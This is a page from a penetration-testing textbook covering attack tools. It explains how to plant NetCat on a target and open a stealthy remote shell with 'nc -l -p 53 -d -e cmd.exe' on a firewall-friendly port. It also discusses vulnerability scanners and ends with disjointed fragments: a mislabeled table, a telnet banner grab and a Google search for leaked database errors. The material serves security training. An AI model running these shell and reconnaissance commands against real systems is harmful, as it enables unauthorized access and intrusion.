Penetration Testing and Network Defense - page 73

Tools

Many tools have already been mentioned in this chapter, and countless others are available to choose from. An entire book could be filled with all of the tools available, but the following list and sections that follow highlight some helpful tools, including the following:

• NetCat

• Vulnerability scanners

• IIS Xploit

• Execiis-win32.exe

• CleanIISLog

• IntelliTamper

• Google

NetCat

NetCat has been called the "Swiss Army Knife" of ethical (and unethical) hacking. It is a remote shell tool that you can use to gain access to another host, assuming NetCat is already running on that remote host.

Before you can use NetCat, you need to have it running on the target host. You can accomplish this by using some of the exploits mentioned earlier to upload files (such as upload.asp) or through social engineering means as discussed in Chapter 4, "Performing Social Engineering." After you have installed NetCat on your target host, you need to execute it. The following are options for execution on the listening host:

nc -l -p port

[

options

] [

hostname

] [

port

]

The syntax is described as follows :

• -l —Listen mode (required).

• -p —Specifies the port number that you connect on. It can be a specific port or a range of ports. This option is required.

• port —TCP port number.

• hostname —The IP address or host name of the remote host.

• options include the following:

  - -u —UDP mode. The default is TCP.
  
  

  - -t —Listen for Telnet.
  
  

  - -d —Detach from console (stealth mode).
  
  

  - -e —Execute a file. If you want a remote shell, you should execute cmd.exe.
  
  

The following command runs NetCat in stealth mode while listening for incoming traffic on port 53 and executing a remote shell:

c:\target\nc -l -p 53 -d -e cmd.exe

53 is chosen because the port, which is used for DNS traffic, is often open on firewalls. If you choose an uncommon port, a firewall might block your attempt.

Next, on the remote host that you are going to use to access your target, execute NetCat and specify the port number and IP address, as demonstrated in Figure 7-25.

You now have full access to the remote host. With a remote shell, you can view files, transfer files, and even execute files on your target host.

For a more detailed look at NetCat, read the case study at the end of this chapter.

Vulnerability Scanners

Over the past couple of years , vulnerability scanners have become increasingly popular. Vulnerability scanners take the work out of penetration testing by scanning target systems and comparing them against known vulnerability signatures. Many of the vulnerability scanners update themselves with those vulnerabilities listed on the Bugtraq database (http://www.securityfocus.com/) and the CERT advisory database (http://www.cert.org/).

When you are looking at vulnerability scanners, you need to be cautious as to how intrusive they are. Some vulnerability scanners can be very intrusive and can cause vulnerable systems to crash. If your penetration test excludes the use of DoS tests, be careful about running vulnerability scanners. Always drill down into the individual options to ensure that the tests you are performing will not crash the target. Also, always perform a vulnerability test on a lab network first to see the impact that it will cause.

Vulnerability scanners can be broken down into two types:

• Open-source scanners

• Commercial scanners

Open-source scanners do not cost anything, but you get little to no support with them. For help, you must rely on mailing lists and message boards . Luckily, you can go to several places to find advice, such as the penetration testing mailing list sponsored by Security Focus (http://www.securityfocus.com/). Table 7-1 outlines the differences among common open-source scanners.

Commercial scanners cost money, but they offer several benefits to their open-source counterparts. Commercial scanners provide support for their products and often have in-house teams of security experts who update their products with the latest security threats. In addition, commercial products generally have better reporting and analysis options. Many even have specific scans to check a host for regulatory compliance. Table 7-2 provides a list of some common commercial scanners.

Table 7-2. Open-Source Vulnerability Scanners

c:\

telnet www.hackmynetwork 80


GET / HTTP/1.0

[CR]

[CR}

HTTP/1.1 200 OK

Date: Mon, 11 Jul 2005 15:44:38 GMT

Server: Apache/1.3.31 (Unix) mod_tsunami/2.0 FrontPage/5.0.2.2634 mod_ssl/2.8.19

 OpenSSL/0.9.7a

Connection: close

Content-Type: text/html

"Access denied for user" "using password" site:hackmynetwork.com